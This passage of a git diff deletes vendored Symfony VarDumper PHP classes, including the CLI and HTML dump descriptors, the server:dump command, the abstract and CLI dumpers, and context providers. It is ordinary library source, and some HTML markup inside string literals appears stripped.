@final - */ -class CliDescriptor implements DumpDescriptorInterface -{ - private $dumper; - private $lastIdentifier; - private $supportsHref; - - public function __construct(CliDumper $dumper) - { - $this->dumper = $dumper; - $this->supportsHref = method_exists(OutputFormatterStyle::class, 'setHref'); - } - - public function describe(OutputInterface $output, Data $data, array $context, int $clientId): void - { - $io = $output instanceof SymfonyStyle ? $output : new SymfonyStyle(new ArrayInput([]), $output); - $this->dumper->setColors($output->isDecorated()); - - $rows = [['date', date('r', $context['timestamp'])]]; - $lastIdentifier = $this->lastIdentifier; - $this->lastIdentifier = $clientId; - - $section = "Received from client #$clientId"; - if (isset($context['request'])) { - $request = $context['request']; - $this->lastIdentifier = $request['identifier']; - $section = sprintf('%s %s', $request['method'], $request['uri']); - if ($controller = $request['controller']) { - $rows[] = ['controller', rtrim($this->dumper->dump($controller, true), "\n")]; - } - } elseif (isset($context['cli'])) { - $this->lastIdentifier = $context['cli']['identifier']; - $section = '$ '.$context['cli']['command_line']; - } - - if ($this->lastIdentifier !== $lastIdentifier) { - $io->section($section); - } - - if (isset($context['source'])) { - $source = $context['source']; - $sourceInfo = sprintf('%s on line %d', $source['name'], $source['line']); - $fileLink = $source['file_link'] ?? null; - if ($this->supportsHref && $fileLink) { - $sourceInfo = sprintf('%s', $fileLink, $sourceInfo); - } - $rows[] = ['source', $sourceInfo]; - $file = $source['file_relative'] ?? $source['file']; - $rows[] = ['file', $file]; - } - - $io->table([], $rows); - - if (!$this->supportsHref && isset($fileLink)) { - $io->writeln(['Open source in your IDE/browser:', $fileLink]); - $io->newLine(); - } - - $this->dumper->dump($data); - $io->newLine(); - } -} diff --git a/vendor/symfony/var-dumper/Command/Descriptor/DumpDescriptorInterface.php b/vendor/symfony/var-dumper/Command/Descriptor/DumpDescriptorInterface.php deleted file mode 100644 index 267d27b..0000000 --- a/vendor/symfony/var-dumper/Command/Descriptor/DumpDescriptorInterface.php +++ /dev/null @@ -1,23 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Symfony\Component\VarDumper\Command\Descriptor; - -use Symfony\Component\Console\Output\OutputInterface; -use Symfony\Component\VarDumper\Cloner\Data; - -/** - * @author Maxime Steinhausser - */ -interface DumpDescriptorInterface -{ - public function describe(OutputInterface $output, Data $data, array $context, int $clientId): void; -} diff --git a/vendor/symfony/var-dumper/Command/Descriptor/HtmlDescriptor.php b/vendor/symfony/var-dumper/Command/Descriptor/HtmlDescriptor.php deleted file mode 100644 index 35a203b..0000000 --- a/vendor/symfony/var-dumper/Command/Descriptor/HtmlDescriptor.php +++ /dev/null @@ -1,119 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Symfony\Component\VarDumper\Command\Descriptor; - -use Symfony\Component\Console\Output\OutputInterface; -use Symfony\Component\VarDumper\Cloner\Data; -use Symfony\Component\VarDumper\Dumper\HtmlDumper; - -/** - * Describe collected data clones for html output. - * - * @author Maxime Steinhausser - * - * @final - */ -class HtmlDescriptor implements DumpDescriptorInterface -{ - private $dumper; - private $initialized = false; - - public function __construct(HtmlDumper $dumper) - { - $this->dumper = $dumper; - } - - public function describe(OutputInterface $output, Data $data, array $context, int $clientId): void - { - if (!$this->initialized) { - $styles = file_get_contents(__DIR__.'/../../Resources/css/htmlDescriptor.css'); - $scripts = file_get_contents(__DIR__.'/../../Resources/js/htmlDescriptor.js'); - $output->writeln(""); - $this->initialized = true; - } - - $title = '-'; - if (isset($context['request'])) { - $request = $context['request']; - $controller = "{$this->dumper->dump($request['controller'], true, ['maxDepth' => 0])}"; - $title = sprintf('%s %s', $request['method'], $uri = $request['uri'], $uri); - $dedupIdentifier = $request['identifier']; - } elseif (isset($context['cli'])) { - $title = '$ '.$context['cli']['command_line']; - $dedupIdentifier = $context['cli']['identifier']; - } else { - $dedupIdentifier = uniqid('', true); - } - - $sourceDescription = ''; - if (isset($context['source'])) { - $source = $context['source']; - $projectDir = $source['project_dir'] ?? null; - $sourceDescription = sprintf('%s on line %d', $source['name'], $source['line']); - if (isset($source['file_link'])) { - $sourceDescription = sprintf('%s', $source['file_link'], $sourceDescription); - } - } - - $isoDate = $this->extractDate($context, 'c'); - $tags = array_filter([ - 'controller' => $controller ?? null, - 'project dir' => $projectDir ?? null, - ]); - - $output->writeln(<< -
-
-

$title

- -
- {$this->renderTags($tags)} -
-
-

- $sourceDescription -

- {$this->dumper->dump($data, true)} -
- -HTML - ); - } - - private function extractDate(array $context, string $format = 'r'): string - { - return date($format, $context['timestamp']); - } - - private function renderTags(array $tags): string - { - if (!$tags) { - return ''; - } - - $renderedTags = ''; - foreach ($tags as $key => $value) { - $renderedTags .= sprintf('
  • %s%s
  • ', $key, $value); - } - - return << -
      - $renderedTags -
    - -HTML; - } -} diff --git a/vendor/symfony/var-dumper/Command/ServerDumpCommand.php b/vendor/symfony/var-dumper/Command/ServerDumpCommand.php deleted file mode 100644 index c8a61da..0000000 --- a/vendor/symfony/var-dumper/Command/ServerDumpCommand.php +++ /dev/null @@ -1,99 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Symfony\Component\VarDumper\Command; - -use Symfony\Component\Console\Command\Command; -use Symfony\Component\Console\Exception\InvalidArgumentException; -use Symfony\Component\Console\Input\InputInterface; -use Symfony\Component\Console\Input\InputOption; -use Symfony\Component\Console\Output\OutputInterface; -use Symfony\Component\Console\Style\SymfonyStyle; -use Symfony\Component\VarDumper\Cloner\Data; -use Symfony\Component\VarDumper\Command\Descriptor\CliDescriptor; -use Symfony\Component\VarDumper\Command\Descriptor\DumpDescriptorInterface; -use Symfony\Component\VarDumper\Command\Descriptor\HtmlDescriptor; -use Symfony\Component\VarDumper\Dumper\CliDumper; -use Symfony\Component\VarDumper\Dumper\HtmlDumper; -use Symfony\Component\VarDumper\Server\DumpServer; - -/** - * Starts a dump server to collect and output dumps on a single place with multiple formats support. - * - * @author Maxime Steinhausser - * - * @final - */ -class ServerDumpCommand extends Command -{ - protected static $defaultName = 'server:dump'; - - private $server; - - /** @var DumpDescriptorInterface[] */ - private $descriptors; - - public function __construct(DumpServer $server, array $descriptors = []) - { - $this->server = $server; - $this->descriptors = $descriptors + [ - 'cli' => new CliDescriptor(new CliDumper()), - 'html' => new HtmlDescriptor(new HtmlDumper()), - ]; - - parent::__construct(); - } - - protected function configure() - { - $availableFormats = implode(', ', array_keys($this->descriptors)); - - $this - ->addOption('format', null, InputOption::VALUE_REQUIRED, sprintf('The output format (%s)', $availableFormats), 'cli') - ->setDescription('Starts a dump server that collects and displays dumps in a single place') - ->setHelp(<<<'EOF' -%command.name% starts a dump server that collects and displays -dumps in a single place for debugging you application: - - php %command.full_name% - -You can consult dumped data in HTML format in your browser by providing the --format=html option -and redirecting the output to a file: - - php %command.full_name% --format="html" > dump.html - -EOF - ) - ; - } - - protected function execute(InputInterface $input, OutputInterface $output): int - { - $io = new SymfonyStyle($input, $output); - $format = $input->getOption('format'); - - if (!$descriptor = $this->descriptors[$format] ?? null) { - throw new InvalidArgumentException(sprintf('Unsupported format "%s".', $format)); - } - - $errorIo = $io->getErrorStyle(); - $errorIo->title('Symfony Var Dumper Server'); - - $this->server->start(); - - $errorIo->success(sprintf('Server listening on %s', $this->server->getHost())); - $errorIo->comment('Quit the server with CONTROL-C.'); - - $this->server->listen(function (Data $data, array $context, int $clientId) use ($descriptor, $io) { - $descriptor->describe($io, $data, $context, $clientId); - }); - } -} diff --git a/vendor/symfony/var-dumper/Dumper/AbstractDumper.php b/vendor/symfony/var-dumper/Dumper/AbstractDumper.php deleted file mode 100644 index 766102e..0000000 --- a/vendor/symfony/var-dumper/Dumper/AbstractDumper.php +++ /dev/null @@ -1,212 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Symfony\Component\VarDumper\Dumper; - -use Symfony\Component\VarDumper\Cloner\Data; -use Symfony\Component\VarDumper\Cloner\DumperInterface; - -/** - * Abstract mechanism for dumping a Data object. - * - * @author Nicolas Grekas - */ -abstract class AbstractDumper implements DataDumperInterface, DumperInterface -{ - const DUMP_LIGHT_ARRAY = 1; - const DUMP_STRING_LENGTH = 2; - const DUMP_COMMA_SEPARATOR = 4; - const DUMP_TRAILING_COMMA = 8; - - public static $defaultOutput = 'php://output'; - - protected $line = ''; - protected $lineDumper; - protected $outputStream; - protected $decimalPoint; // This is locale dependent - protected $indentPad = ' '; - protected $flags; - - private $charset = ''; - - /** - * @param callable|resource|string|null $output A line dumper callable, an opened stream or an output path, defaults to static::$defaultOutput - * @param string|null $charset The default character encoding to use for non-UTF8 strings - * @param int $flags A bit field of static::DUMP_* constants to fine tune dumps representation - */ - public function __construct($output = null, string $charset = null, int $flags = 0) - { - $this->flags = $flags; - $this->setCharset($charset ?: ini_get('php.output_encoding') ?: ini_get('default_charset') ?: 'UTF-8'); - $this->decimalPoint = localeconv(); - $this->decimalPoint = $this->decimalPoint['decimal_point']; - $this->setOutput($output ?: static::$defaultOutput); - if (!$output && \is_string(static::$defaultOutput)) { - static::$defaultOutput = $this->outputStream; - } - } - - /** - * Sets the output destination of the dumps. - * - * @param callable|resource|string $output A line dumper callable, an opened stream or an output path - * - * @return callable|resource|string The previous output destination - */ - public function setOutput($output) - { - $prev = null !== $this->outputStream ? $this->outputStream : $this->lineDumper; - - if (\is_callable($output)) { - $this->outputStream = null; - $this->lineDumper = $output; - } else { - if (\is_string($output)) { - $output = fopen($output, 'wb'); - } - $this->outputStream = $output; - $this->lineDumper = [$this, 'echoLine']; - } - - return $prev; - } - - /** - * Sets the default character encoding to use for non-UTF8 strings. - * - * @param string $charset The default character encoding to use for non-UTF8 strings - * - * @return string The previous charset - */ - public function setCharset($charset) - { - $prev = $this->charset; - - $charset = strtoupper($charset); - $charset = null === $charset || 'UTF-8' === $charset || 'UTF8' === $charset ? 'CP1252' : $charset; - - $this->charset = $charset; - - return $prev; - } - - /** - * Sets the indentation pad string. - * - * @param string $pad A string that will be prepended to dumped lines, repeated by nesting level - * - * @return string The previous indent pad - */ - public function setIndentPad($pad) - { - $prev = $this->indentPad; - $this->indentPad = $pad; - - return $prev; - } - - /** - * Dumps a Data object. - * - * @param callable|resource|string|true|null $output A line dumper callable, an opened stream, an output path or true to return the dump - * - * @return string|null The dump as string when $output is true - */ - public function dump(Data $data, $output = null) - { - $this->decimalPoint = localeconv(); - $this->decimalPoint = $this->decimalPoint['decimal_point']; - - if ($locale = $this->flags & (self::DUMP_COMMA_SEPARATOR | self::DUMP_TRAILING_COMMA) ? setlocale(\LC_NUMERIC, 0) : null) { - setlocale(\LC_NUMERIC, 'C'); - } - - if ($returnDump = true === $output) { - $output = fopen('php://memory', 'r+b'); - } - if ($output) { - $prevOutput = $this->setOutput($output); - } - try { - $data->dump($this); - $this->dumpLine(-1); - - if ($returnDump) { - $result = stream_get_contents($output, -1, 0); - fclose($output); - - return $result; - } - } finally { - if ($output) { - $this->setOutput($prevOutput); - } - if ($locale) { - setlocale(\LC_NUMERIC, $locale); - } - } - - return null; - } - - /** - * Dumps the current line. - * - * @param int $depth The recursive depth in the dumped structure for the line being dumped, - * or -1 to signal the end-of-dump to the line dumper callable - */ - protected function dumpLine($depth) - { - ($this->lineDumper)($this->line, $depth, $this->indentPad); - $this->line = ''; - } - - /** - * Generic line dumper callback. - * - * @param string $line The line to write - * @param int $depth The recursive depth in the dumped structure - * @param string $indentPad The line indent pad - */ - protected function echoLine($line, $depth, $indentPad) - { - if (-1 !== $depth) { - fwrite($this->outputStream, str_repeat($indentPad, $depth).$line."\n"); - } - } - - /** - * Converts a non-UTF-8 string to UTF-8. - * - * @param string|null $s The non-UTF-8 string to convert - * - * @return string|null The string converted to UTF-8 - */ - protected function utf8Encode($s) - { - if (null === $s || preg_match('//u', $s)) { - return $s; - } - - if (!\function_exists('iconv')) { - throw new \RuntimeException('Unable to convert a non-UTF-8 string to UTF-8: required function iconv() does not exist. You should install ext-iconv or symfony/polyfill-iconv.'); - } - - if (false !== $c = @iconv($this->charset, 'UTF-8', $s)) { - return $c; - } - if ('CP1252' !== $this->charset && false !== $c = @iconv('CP1252', 'UTF-8', $s)) { - return $c; - } - - return iconv('CP850', 'UTF-8', $s); - } -} diff --git a/vendor/symfony/var-dumper/Dumper/CliDumper.php b/vendor/symfony/var-dumper/Dumper/CliDumper.php deleted file mode 100644 index af5cafc..0000000 --- a/vendor/symfony/var-dumper/Dumper/CliDumper.php +++ /dev/null @@ -1,654 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Symfony\Component\VarDumper\Dumper; - -use Symfony\Component\VarDumper\Cloner\Cursor; -use Symfony\Component\VarDumper\Cloner\Stub; - -/** - * CliDumper dumps variables for command line output. - * - * @author Nicolas Grekas - */ -class CliDumper extends AbstractDumper -{ - public static $defaultColors; - public static $defaultOutput = 'php://stdout'; - - protected $colors; - protected $maxStringWidth = 0; - protected $styles = [ - // See http://en.wikipedia.org/wiki/ANSI_escape_code#graphics - 'default' => '0;38;5;208', - 'num' => '1;38;5;38', - 'const' => '1;38;5;208', - 'str' => '1;38;5;113', - 'note' => '38;5;38', - 'ref' => '38;5;247', - 'public' => '', - 'protected' => '', - 'private' => '', - 'meta' => '38;5;170', - 'key' => '38;5;113', - 'index' => '38;5;38', - ]; - - protected static $controlCharsRx = '/[\x00-\x1F\x7F]+/'; - protected static $controlCharsMap = [ - "\t" => '\t', - "\n" => '\n', - "\v" => '\v', - "\f" => '\f', - "\r" => '\r', - "\033" => '\e', - ]; - - protected $collapseNextHash = false; - protected $expandNextHash = false; - - private $displayOptions = [ - 'fileLinkFormat' => null, - ]; - - private $handlesHrefGracefully; - - /** - * {@inheritdoc} - */ - public function __construct($output = null, string $charset = null, int $flags = 0) - { - parent::__construct($output, $charset, $flags); - - if ('\\' === \DIRECTORY_SEPARATOR && !$this->isWindowsTrueColor()) { - // Use only the base 16 xterm colors when using ANSICON or standard Windows 10 CLI - $this->setStyles([ - 'default' => '31', - 'num' => '1;34', - 'const' => '1;31', - 'str' => '1;32', - 'note' => '34', - 'ref' => '1;30', - 'meta' => '35', - 'key' => '32', - 'index' => '34', - ]); - } - - $this->displayOptions['fileLinkFormat'] = ini_get('xdebug.file_link_format') ?: get_cfg_var('xdebug.file_link_format') ?: 'file://%f#L%l'; - } - - /** - * Enables/disables colored output. - * - * @param bool $colors - */ - public function setColors($colors) - { - $this->colors = (bool) $colors; - } - - /** - * Sets the maximum number of characters per line for dumped strings. - * - * @param int $maxStringWidth - */ - public function setMaxStringWidth($maxStringWidth) - { - $this->maxStringWidth = (int) $maxStringWidth; - } - - /** - * Configures styles. - * - * @param array $styles A map of style names to style definitions - */ - public function setStyles(array $styles) - { - $this->styles = $styles + $this->styles; - } - - /** - * Configures display options. - * - * @param array $displayOptions A map of display options to customize the behavior - */ - public function setDisplayOptions(array $displayOptions) - { - $this->displayOptions = $displayOptions + $this->displayOptions; - } - - /** - * {@inheritdoc} - */ - public function dumpScalar(Cursor $cursor, $type, $value) - { - $this->dumpKey($cursor); - - $style = 'const'; - $attr = $cursor->attr; - - switch ($type) { - case 'default': - $style = 'default'; - break; - - case 'integer': - $style = 'num'; - break; - - case 'double': - $style = 'num'; - - switch (true) { - case \INF === $value: $value = 'INF'; break; - case -\INF === $value: $value = '-INF'; break; - case is_nan($value): $value = 'NAN'; break; - default: - $value = (string) $value; - if (false === strpos($value, $this->decimalPoint)) { - $value .= $this->decimalPoint.'0'; - } - break; - } - break; - - case 'NULL': - $value = 'null'; - break; - - case 'boolean': - $value = $value ? 'true' : 'false'; - break; - - default: - $attr += ['value' => $this->utf8Encode($value)]; - $value = $this->utf8Encode($type); - break; - } - - $this->line .= $this->style($style, $value, $attr); - - $this->endValue($cursor); - } - - /** - * {@inheritdoc} - */ - public function dumpString(Cursor $cursor, $str, $bin, $cut) - { - $this->dumpKey($cursor); - $attr = $cursor->attr; - - if ($bin) { - $str = $this->utf8Encode($str); - } - if ('' === $str) { - $this->line .= '""'; - $this->endValue($cursor); - } else { - $attr += [ - 'length' => 0 <= $cut ? mb_strlen($str, 'UTF-8') + $cut : 0, - 'binary' => $bin, - ]; - $str = explode("\n", $str); - if (isset($str[1]) && !isset($str[2]) && !isset($str[1][0])) { - unset($str[1]); - $str[0] .= "\n"; - } - $m = \count($str) - 1; - $i = $lineCut = 0; - - if (self::DUMP_STRING_LENGTH & $this->flags) { - $this->line .= '('.$attr['length'].') '; - } - if ($bin) { - $this->line .= 'b'; - } - - if ($m) { - $this->line .= '"""'; - $this->dumpLine($cursor->depth); - } else { - $this->line .= '"'; - } - - foreach ($str as $str) { - if ($i < $m) { - $str .= "\n"; - } - if (0 < $this->maxStringWidth && $this->maxStringWidth < $len = mb_strlen($str, 'UTF-8')) { - $str = mb_substr($str, 0, $this->maxStringWidth, 'UTF-8'); - $lineCut = $len - $this->maxStringWidth; - } - if ($m && 0 < $cursor->depth) { - $this->line .= $this->indentPad; - } - if ('' !== $str) { - $this->line .= $this->style('str', $str, $attr); - } - if ($i++ == $m) { - if ($m) { - if ('' !== $str) { - $this->dumpLine($cursor->depth); - if (0 < $cursor->depth) { - $this->line .= $this->indentPad; - } - } - $this->line .= '"""'; - } else { - $this->line .= '"'; - } - if ($cut < 0) { - $this->line .= '…'; - $lineCut = 0; - } elseif ($cut) { - $lineCut += $cut; - } - } - if ($lineCut) { - $this->line .= '…'.$lineCut; - $lineCut = 0; - } - - if ($i > $m) { - $this->endValue($cursor); - } else { - $this->dumpLine($cursor->depth); - } - } - } - } - - /** - * {@inheritdoc} - */ - public function enterHash(Cursor $cursor, $type, $class, $hasChild) - { - if (null === $this->colors) { - $this->colors = $this->supportsColors(); - } - - $this->dumpKey($cursor); - $attr = $cursor->attr; - - if ($this->collapseNextHash) { - $cursor->skipChildren = true; - $this->collapseNextHash = $hasChild = false; - } - - $class = $this->utf8Encode($class); - if (Cursor::HASH_OBJECT === $type) { - $prefix = $class && 'stdClass' !== $class ? $this->style('note', $class, $attr).(empty($attr['cut_hash']) ? ' {' : '') : '{'; - } elseif (Cursor::HASH_RESOURCE === $type) { - $prefix = $this->style('note', $class.' resource', $attr).($hasChild ? ' {' : ' '); - } else { - $prefix = $class && !(self::DUMP_LIGHT_ARRAY & $this->flags) ? $this->style('note', 'array:'.$class).' [' : '['; - } - - if (($cursor->softRefCount || 0 < $cursor->softRefHandle) && empty($attr['cut_hash'])) { - $prefix .= $this->style('ref', (Cursor::HASH_RESOURCE === $type ? '@' : '#').(0 < $cursor->softRefHandle ? $cursor->softRefHandle : $cursor->softRefTo), ['count' => $cursor->softRefCount]); - } elseif ($cursor->hardRefTo && !$cursor->refIndex && $class) { - $prefix .= $this->style('ref', '&'.$cursor->hardRefTo, ['count' => $cursor->hardRefCount]); - } elseif (!$hasChild && Cursor::HASH_RESOURCE === $type) { - $prefix = substr($prefix, 0, -1); - } - - $this->line .= $prefix; - - if ($hasChild) { - $this->dumpLine($cursor->depth); - } - } - - /** - * {@inheritdoc} - */ - public function leaveHash(Cursor $cursor, $type, $class, $hasChild, $cut) - { - if (empty($cursor->attr['cut_hash'])) { - $this->dumpEllipsis($cursor, $hasChild, $cut); - $this->line .= Cursor::HASH_OBJECT === $type ? '}' : (Cursor::HASH_RESOURCE !== $type ? ']' : ($hasChild ? '}' : '')); - } - - $this->endValue($cursor); - } - - /** - * Dumps an ellipsis for cut children. - * - * @param bool $hasChild When the dump of the hash has child item - * @param int $cut The number of items the hash has been cut by - */ - protected function dumpEllipsis(Cursor $cursor, $hasChild, $cut) - { - if ($cut) { - $this->line .= ' …'; - if (0 < $cut) { - $this->line .= $cut; - } - if ($hasChild) { - $this->dumpLine($cursor->depth + 1); - } - } - } - - /** - * Dumps a key in a hash structure. - */ - protected function dumpKey(Cursor $cursor) - { - if (null !== $key = $cursor->hashKey) { - if ($cursor->hashKeyIsBinary) { - $key = $this->utf8Encode($key); - } - $attr = ['binary' => $cursor->hashKeyIsBinary]; - $bin = $cursor->hashKeyIsBinary ? 'b' : ''; - $style = 'key'; - switch ($cursor->hashType) { - default: - case Cursor::HASH_INDEXED: - if (self::DUMP_LIGHT_ARRAY & $this->flags) { - break; - } - $style = 'index'; - // no break - case Cursor::HASH_ASSOC: - if (\is_int($key)) { - $this->line .= $this->style($style, $key).' => '; - } else { - $this->line .= $bin.'"'.$this->style($style, $key).'" => '; - } - break; - - case Cursor::HASH_RESOURCE: - $key = "\0~\0".$key; - // no break - case Cursor::HASH_OBJECT: - if (!isset($key[0]) || "\0" !== $key[0]) { - $this->line .= '+'.$bin.$this->style('public', $key).': '; - } elseif (0 < strpos($key, "\0", 1)) { - $key = explode("\0", substr($key, 1), 2); - - switch ($key[0][0]) { - case '+': // User inserted keys - $attr['dynamic'] = true; - $this->line .= '+'.$bin.'"'.$this->style('public', $key[1], $attr).'": '; - break 2; - case '~': - $style = 'meta'; - if (isset($key[0][1])) { - parse_str(substr($key[0], 1), $attr); - $attr += ['binary' => $cursor->hashKeyIsBinary]; - } - break; - case '*': - $style = 'protected'; - $bin = '#'.$bin; - break; - default: - $attr['class'] = $key[0]; - $style = 'private'; - $bin = '-'.$bin; - break; - } - - if (isset($attr['collapse'])) { - if ($attr['collapse']) { - $this->collapseNextHash = true; - } else { - $this->expandNextHash = true; - } - } - - $this->line .= $bin.$this->style($style, $key[1], $attr).(isset($attr['separator']) ? $attr['separator'] : ': '); - } else { - // This case should not happen - $this->line .= '-'.$bin.'"'.$this->style('private', $key, ['class' => '']).'": '; - } - break; - } - - if ($cursor->hardRefTo) { - $this->line .= $this->style('ref', '&'.($cursor->hardRefCount ? $cursor->hardRefTo : ''), ['count' => $cursor->hardRefCount]).' '; - } - } - } - - /** - * Decorates a value with some style. - * - * @param string $style The type of style being applied - * @param string $value The value being styled - * @param array $attr Optional context information - * - * @return string The value with style decoration - */ - protected function style($style, $value, $attr = []) - { - if (null === $this->colors) { - $this->colors = $this->supportsColors(); - } - - if (null === $this->handlesHrefGracefully) { - $this->handlesHrefGracefully = 'JetBrains-JediTerm' !== getenv('TERMINAL_EMULATOR') && !getenv('KONSOLE_VERSION'); - } - - if (isset($attr['ellipsis'], $attr['ellipsis-type'])) { - $prefix = substr($value, 0, -$attr['ellipsis']); - if ('cli' === \PHP_SAPI && 'path' === $attr['ellipsis-type'] && isset($_SERVER[$pwd = '\\' === \DIRECTORY_SEPARATOR ? 'CD' : 'PWD']) && 0 === strpos($prefix, $_SERVER[$pwd])) { - $prefix = '.'.substr($prefix, \strlen($_SERVER[$pwd])); - } - if (!empty($attr['ellipsis-tail'])) { - $prefix .= substr($value, -$attr['ellipsis'], $attr['ellipsis-tail']); - $value = substr($value, -$attr['ellipsis'] + $attr['ellipsis-tail']); - } else { - $value = substr($value, -$attr['ellipsis']); - } - - $value = $this->style('default', $prefix).$this->style($style, $value); - - goto href; - } - - $map = static::$controlCharsMap; - $startCchr = $this->colors ? "\033[m\033[{$this->styles['default']}m" : ''; - $endCchr = $this->colors ? "\033[m\033[{$this->styles[$style]}m" : ''; - $value = preg_replace_callback(static::$controlCharsRx, function ($c) use ($map, $startCchr, $endCchr) { - $s = $startCchr; - $c = $c[$i = 0]; - do { - $s .= isset($map[$c[$i]]) ? $map[$c[$i]] : sprintf('\x%02X', \ord($c[$i])); - } while (isset($c[++$i])); - - return $s.$endCchr; - }, $value, -1, $cchrCount); - - if ($this->colors) { - if ($cchrCount && "\033" === $value[0]) { - $value = substr($value, \strlen($startCchr)); - } else { - $value = "\033[{$this->styles[$style]}m".$value; - } - if ($cchrCount && $endCchr === substr($value, -\strlen($endCchr))) { - $value = substr($value, 0, -\strlen($endCchr)); - } else { - $value .= "\033[{$this->styles['default']}m"; - } - } - - href: - if ($this->colors && $this->handlesHrefGracefully) { - if (isset($attr['file']) && $href = $this->getSourceLink($attr['file'], isset($attr['line']) ? $attr['line'] : 0)) { - if ('note' === $style) { - $value .= "\033]8;;{$href}\033\\^\033]8;;\033\\"; - } else { - $attr['href'] = $href; - } - } - if (isset($attr['href'])) { - $value = "\033]8;;{$attr['href']}\033\\{$value}\033]8;;\033\\"; - } - } elseif ($attr['if_links'] ?? false) { - return ''; - } - - return $value; - } - - /** - * @return bool Tells if the current output stream supports ANSI colors or not - */ - protected function supportsColors() - { - if ($this->outputStream !== static::$defaultOutput) { - return $this->hasColorSupport($this->outputStream); - } - if (null !== static::$defaultColors) { - return static::$defaultColors; - } - if (isset($_SERVER['argv'][1])) { - $colors = $_SERVER['argv']; - $i = \count($colors); - while (--$i > 0) { - if (isset($colors[$i][5])) { - switch ($colors[$i]) { - case '--ansi': - case '--color': - case '--color=yes': - case '--color=force': - case '--color=always': - return static::$defaultColors = true; - - case '--no-ansi': - case '--color=no': - case '--color=none': - case '--color=never': - return static::$defaultColors = false; - } - } - } - } - - $h = stream_get_meta_data($this->outputStream) + ['wrapper_type' => null]; - $h = 'Output' === $h['stream_type'] && 'PHP' === $h['wrapper_type'] ? fopen('php://stdout', 'wb') : $this->outputStream; - - return static::$defaultColors = $this->hasColorSupport($h); - } - - /** - * {@inheritdoc} - */ - protected function dumpLine($depth, $endOfValue = false) - { - if ($this->colors) { - $this->line = sprintf("\033[%sm%s\033[m", $this->styles['default'], $this->line); - } - parent::dumpLine($depth); - } - - protected function endValue(Cursor $cursor) - { - if (-1 === $cursor->hashType) { - return; - } - - if (Stub::ARRAY_INDEXED === $cursor->hashType || Stub::ARRAY_ASSOC === $cursor->hashType) { - if (self::DUMP_TRAILING_COMMA & $this->flags && 0 < $cursor->depth) { - $this->line .= ','; - } elseif (self::DUMP_COMMA_SEPARATOR & $this->flags && 1 < $cursor->hashLength - $cursor->hashIndex) { - $this->line .= ','; - } - } - - $this->dumpLine($cursor->depth, true); - } - - /** - * Returns true if the stream supports colorization. - * - * Reference: Composer\XdebugHandler\Process::supportsColor - * https://github.com/composer/xdebug-handler - * - * @param mixed $stream A CLI output stream - */ - private function hasColorSupport($stream): bool - { - if (!\is_resource($stream) || 'stream' !== get_resource_type($stream)) { - return false; - } - - // Follow https://no-color.org/ - if (isset($_SERVER['NO_COLOR']) || false !== getenv('NO_COLOR')) { - return false; - } - - if ('Hyper' === getenv('TERM_PROGRAM')) { - return true; - } - - if (\DIRECTORY_SEPARATOR === '\\') { - return (\function_exists('sapi_windows_vt100_support') - && @sapi_windows_vt100_support($stream)) - || false !== getenv('ANSICON') - || 'ON' === getenv('ConEmuANSI') - || 'xterm' === getenv('TERM'); - } - - if (\function_exists('stream_isatty')) { - return @stream_isatty($stream); - } - - if (\function_exists('posix_isatty')) { - return @posix_isatty($stream); - } - - $stat = @fstat($stream); - // Check if formatted mode is S_IFCHR - return $stat ? 0020000 === ($stat['mode'] & 0170000) : false; - } - - /** - * Returns true if the Windows terminal supports true color. - * - * Note that this does not check an output stream, but relies on environment - * variables from known implementations, or a PHP and Windows version that - * supports true color. - */ - private function isWindowsTrueColor(): bool - { - $result = 183 <= getenv('ANSICON_VER') - || 'ON' === getenv('ConEmuANSI') - || 'xterm' === getenv('TERM') - || 'Hyper' === getenv('TERM_PROGRAM'); - - if (!$result && \PHP_VERSION_ID >= 70200) { - $version = sprintf( - '%s.%s.%s', - PHP_WINDOWS_VERSION_MAJOR, - PHP_WINDOWS_VERSION_MINOR, - PHP_WINDOWS_VERSION_BUILD - ); - $result = $version >= '10.0.15063'; - } - - return $result; - } - - private function getSourceLink(string $file, int $line) - { - if ($fmt = $this->displayOptions['fileLinkFormat']) { - return \is_string($fmt) ? strtr($fmt, ['%f' => $file, '%l' => $line]) : ($fmt->format($file, $line) ?: 'file://'.$file.'#L'.$line); - } - - return false; - } -} diff --git a/vendor/symfony/var-dumper/Dumper/ContextProvider/CliContextProvider.php b/vendor/symfony/var-dumper/Dumper/ContextProvider/CliContextProvider.php deleted file mode 100644 index 38f8789..0000000 --- a/vendor/symfony/var-dumper/Dumper/ContextProvider/CliContextProvider.php +++ /dev/null @@ -1,32 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Symfony\Component\VarDumper\Dumper\ContextProvider; - -/** - * Tries to provide context on CLI. - * - * @author Maxime Steinhausser - */ -final class CliContextProvider implements ContextProviderInterface -{ - public function getContext(): ?array - { - if ('cli' !== \PHP_SAPI) { - return null; - } - - return [ - 'command_line' => $commandLine = implode(' ', $_SERVER['argv'] ?? []), - 'identifier' => hash('crc32b', $commandLine.$_SERVER['REQUEST_TIME_FLOAT']), - ]; - } -} diff --git a/vendor/symfony/var-dumper/Dumper/ContextProvider/ContextProviderInterface.php b/vendor/symfony/var-dumper/Dumper/ContextProvider/ContextProviderInterface.php deleted file mode 100644 index 38ef3b0..0000000 --- a/vendor/symfony/var-dumper/Dumper/ContextProvider/ContextProviderInterface.php +++ /dev/null @@ -1,25 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Symfony\Component\VarDumper\Dumper\ContextProvider; - -/** - * Interface to provide contextual data about dump data clones sent to a server. - * - * @author Maxime Steinhausser - */ -interface ContextProviderInterface -{ - /** - * @return array|null Context data or null if unable to provide any context - */ - public function getContext(): ?array; -} diff --git a/vendor/symfony/var-dumper/Dumper/ContextProvider/RequestContextProvider.php b/vendor/symfony/var-dumper/Dumper/ContextProvider/RequestContextProvider.php deleted file mode 100644 index 3684a47..0000000 --- a/vendor/symfony/var-dumper/Dumper/ContextProvider/RequestContextProvider.php +++ /dev/null @@ -1,51 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Symfony\Component\VarDumper\Dumper\ContextProvider; - -use 